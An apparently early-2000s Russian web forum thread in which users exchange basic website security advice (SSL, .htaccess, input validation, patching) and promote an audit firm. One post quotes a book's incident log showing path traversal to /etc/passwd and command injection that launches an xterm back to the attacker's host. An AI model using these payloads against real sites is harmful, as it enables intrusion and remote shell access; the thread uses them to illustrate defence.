Защита сайта от хакеров (поделитесь скриптами)

Собираю щас информацию по защите сайтов.
Вот самые известные приемы защиты:
1. Авторизация, регистрация;
2. Cookie;
3. Ведение логов;
4. Использование шифрования данных, типа SSL.
ну и т.п.
Можете поделиться своим опытом защиты (взлома). Каким образом юзерам удавалось проникнуть в базу или код? И если у кого-то завалялся код для определенной защиты сайта... может от флуда, выложите плз. Зараннее всем спасибо.

0

Лучше всего использовать внутренние возможности сервака.
Я например использую SSL+Apache.
Причем директории, закрытые которые, как обычно под .htpasswd.

Вообще защита сайта - скорее дело админа сервака, чем девелопера

Согласен, это дело больше касается админа сервака. Но иногда приходится аккуратно писать код.
Часты случаи взлома через POST/GET данные. Поэтому нужно критически относится к принятым данным и на всякий случай проверить правильность их ввода.

0

Мне кажется, что просто необходимо писать такие приложения, которые бы не зависелы в принципе (безопасность) от данных пользователя.
Хотя, наверно, это полностью невозможно

Да, такие приложения будут абсолютно статическими
Если посмотреть местоположение данных, которыми обмениваются сервер и клиент, то у них 3 положения:
1. Сторона клиента.
2. Канал связи.
3. Сторона сервера.
Степень легкости взлома на разных уровнях разная и сложно сказать, какие данные легче заполучить

0

Вобщем, я понял! Для того, чтобы полностью защитить свой сайт от хакеров нужно:
1. Стараться не использовать Cookie, в противном случае хранить там закодированную информацию;
2. Аккуратно использовать URL для передачи параметров и предусмотреть проверку данных на допустимые значения, также проверять POST данные;
3. Посылать данные серверу через защищенный канал (SSL);
4. Использовать регистрацию, аутенфикацию пользователей, а также ведение истории (логов);
5. Важную информацию в базе данных хранить в шифрованном виде;
6. Использовать файлы .htaccess и .htpasswrd для определенных папок;
7. Для запрещенных просмотру страниц добавить HTTP аутенфикацию;
и еще много куча всего предусмотреть...
можно с ума сойти, обращая особое внимание безопасности, так несложно и самому хакером стать

0

Для тех, кому интересно! Из книги 'Хакинг в web' (много авторов).
31 окт. 2001 года оказался плохим днем для нового web-узла компании Acme www.acme-art.com. Взломщик похитил номера кредитных карточек из базы данных интерактивного магазина компании и разместил их в группе новостей Usenet. Электронные средства передачи информации работали быстро и безжалостно, и в течение нескольких часов компания потеряла сотни тысяч долларов заказов, приобрела плохую репутацию, но самое главное в том, что теперь ей придется снова накапливать капитал. Руководитель информационной службы компании озадачен. Где была допущена ошибка в процессе очередной проверки безопасности системы? Казалось, все в порядке. Брандмауэры блокировали весь трафик, за исключением портов 80 и 443. Подробно расследуя инциндент, группа экспертов обнаружила в системном журнале web-сервера следующие данные:

10.0.1.21 - - [31/Okt/2001:03:02:47 +0530] 'GET / HTTP/1.0' 200 3008
10.0.1.21 - - [31/Okt/2001:03:02:47 +0530] 'GET /yf_thumb.jpg HTTP/1.0' 200 3452
10.0.1.21 - - [31/Okt/2001:03:02:47 +0530] 'GET /fl_thumb.jpg HTTP/1.0' 200 8468
10.0.1.21 - - [31/Okt/2001:03:02:47 +0530] 'GET /th_thumb.jpg HTTP/1.0' 200 6912
10.0.1.21 - - [31/Okt/2001:03:02:47 +0530] 'GET /mn_thumb.jpg HTTP/1.0' 200 7891

10.0.1.21 - - [31/Okt/2001:03:03:13 +0530] 'GET /index.cgi?page=falls.shtml HTTP/1.0' 200 610
10.0.1.21 - - [31/Okt/2001:03:03:13 +0530] 'GET /falls.jpg HTTP/1.0' 200 52640
10.0.1.21 - - [31/Okt/2001:03:03:18 +0530] 'GET /index.cgi?page=tahoel.shtml HTTP/1.0' 200 652
10.0.1.21 - - [31/Okt/2001:03:03:18 +0530] 'GET /tahoel.jpg HTTP/1.0' 200 36580

10.0.1.21 - - [31/Okt/2001:03:03:41 +0530] 'GET /cgi-bin/ HTTP/1.0' 403 272

10.0.1.21 - - [31/Okt/2001:03:04:10 +0530] 'GET /index.cgi HTTP/1.0' 200 3008
10.0.1.21 - - [31/Okt/2001:03:05:31 +0530] 'GET /index.cgi?page=index.cgi HTTP/1.0' 200 358

10.0.1.21 - - [31/Okt/2001:03:06:21 +0530] 'GET /index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0' 200 723

10.0.1.21 - - [31/Okt/2001:03:07:01 +0530] 'GET /index.cgi?page=|ls+-la/%0aid%0awhich+xterm| HTTP/1.0' 200 1228
10.0.1.21 - - [31/Okt/2001:03:17:29 +0530] 'GET /index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26| HTTP/1.0' 200

Надеюсь все понятно. Взлом был произведен через всего лишь http протокол.

0

уверяю тебя, нет такого сайта, который не сможет взломать не один взломщик, и нет такого взломщика, который смог бы взломать все сайты.
Иными словами - на каждого умного найдётся кто-то умнее!
А всё, что ты писал выше - это познаётся в практике.

0

Согласен с sl_play.

То что возможен влом сайта только через http никого не удивищь. Этот пример лишний раз подтверждает что нужно проверять данные полученные от пользователя.

0

HTTP это только одна из дыр WEB, а их огромное множество, и естественно все нельзя усмотреть при разработке сайта. Целью было узнать от Вас какой-нибудь опыть, проверенный на личной шкуре, чтобы дальнейшие разработчики проектов не делали элементарных дыр. Видимо основных вопров безопасности всем достаточно.
Всем спасибо!

0

повторюсь - только с практикой ты поёмешь через какие дыры тебя могут взломать, а знаешь почему только с практикой?
Даже если тебе сейчас объяснят как делать дос-атаку ты всё равно не поймёшь как от неё защититься.
Чтобы знать как сломать, нужно построить, и построить не один раз, тогда ты поймёшь как это что ты построил ломать!

0

Сделай сайт типа <title>'Тут лежат бабки'</title> и так далее. Пропиши его везде и набирайся опыта

0

:-)

0

Вообще, сайты счас довольно часто ломаются через web. ssl дает всего лишщь защиту от снифинга, и, иногда, частично от фишинга.
Проблеммы серъедные, но не единственые.
И за настройку сервер отвечает действительно алдмин, так как он настраивает сервер.
Но вот только программист отвечает на наличие дыр в написанных скриптах. Так как именно он пишет скрипты. А знающий хакер сможет найти эти дыры и получить котроль над сайтом, даже в сулчае если он не знает исходников скриптов.
Выходом в такой ситуации модет стать наем грамотного специалиста (которого тяжело найти, и которому надо платить много денег), либо заказ аудита информационной безопасности у профессионалов, например тут: http://www.web-security.ru/
кроме того, они могут провести и бесплатный аудит: http://www.web-security.ru/freeaudit.html

0

Не используйте софт, который юзается на тысячах сайтов, как то: phpbb, phpnuke итп. Пишите свой...

0

Отказ от использования бесплатных (никем не проверенных на безопасность) даст гарантию от взлома скрипт киддисами, после обнародоваиня информации о найденных уязвимостях в этих системах. (кстати, такого же результата пожно добиться периодически обнволяя акой софт).
На даже в самописном софте, вероятно (и более вероятнее чем в бесплатном), будут дыры, которые сможет найти более или менее умелый хакер. И тут уже стоит полагаться только на компетенцию программиста.
Нередко, фирмы узнают что о безопасности сайта также необходимо заботиться, только тогда, когда их сайт оказывается задефейсен а вся информация перетекает конкурентам..

0

Кстати по статистике более половины сайтов имеют уязвимости разной степени критичности.
Так что, даже этот сайт с вероятностью 50% имеет дыры

0

Никто и не спорит. Но одно дело - взлом при наличии кода, второе - взлом по черному ящику. Просто был прецедент, что исследуя очередную дыру в phpNuke, наткнулся на еще несколько до сих пор не опубликованных серьезных уязвимостей

0

Согласен....
Но следует учесть что сейчас, де факто сложилась следжующая обстановка.
популярные свободные движки (phpBB и тп), уже сильно перелатаны, и найти самостоятельно в них дыру (слледую код или блекбокс тестируя), оченеь тяжело. И по этому если хакер будет взламывать какой то сайт и увидет на нем одну из свободных систем, он в первую очередь посмотрит известные (на паблике либо приватные) уязвимости в системе и использует их. А, публично известные уязвимости как правило оказываются быстро пофиксины производителем. Искать же новые дыры хакер скорее всего не станет, так как взлом получиться нецелесообразным (для большинства средних сайтов). Так что в большинстве случаев достаточно периолдически обновлять свободное ПО. Учитывая частые случаи масс-дефесов, обновлять его желаетльно в день опубликования информации о уязвимости. то есть следить за новостями.
А вот на крупных сайтах, которые получат значительный ущерб в случе взлома - компрометации (процессинговые центры, онлайн банкинг и тп), очевидно импользование такого ПО не желательно.
Опять вернемся к среднему корпаративному сайту или интернет магазину. допустим хакер обноружил на нем свежую версию открытого движка (PHPBB к примеру). искать уязвимости в PHPBB он не станет. Более вероятно он станет исследовать самописные скрипты системы и подсистемы. Так как именно в таких частях неиоболее вероятны критические ошибки бещопасности.
И тут уже каждая компания должна для себя сделать вывод. Что будет наиболее целесообразно.
1) оставить сайт незащищенным (потенциально нещзащищенным)
2) нанять грамтного специалиста.
3) заказать аудит информационной безопасности профессионалам, например хорошо себя зарекомендовали http://www.web-security.ru/ .
В первом случае нудно отдавать себе отчет, что ущер причененный в результате компрометации сайта (а это может быть не банальный дефейс, а кража инфомрации, представляющей коммерческую тайну и перепродажа ее конкурентам, и банальное вымагательство и нарушение работоспособноести сервера, и потеря доверия клинетов)
Во втором случае грамотный специалист может дорого стоить, и найти его тяжело, так же тяжело узнать его компетенцию в этом вопросе.
Третий случай моэжет быть нецелессобразен в случае если необходимо обеспечить безопасность сервера серъедной организации, типа интернет-банкина и тп, В таком именно случае более рахумно нанять специалиста (или адже штат специалистов)

0

Следуя логике выше, я будучи тупым или злым могу написать скрипт, например на уважаемом PHP, через который каждый умный хакер сможет сломать сервер моего провайдера? Вам не кажется, что это нонсенс?
С другой стороны, я действительно могу по недосмотру открыть доступ в пределах выделенной мне под сайт директории (или базы). Это уже мои проблемы (и тех кто доверил мне номера кредитных карточек). Было бы очень любопытно почитать список известных нюансов на тему безопасности, на которые нужно обращать внимание при разработке скриптов (типа "не передавать в поле формы аргументы для функции exec()" и т.п.). Знает кто-нибудь, где можно почитать на эту тему?

0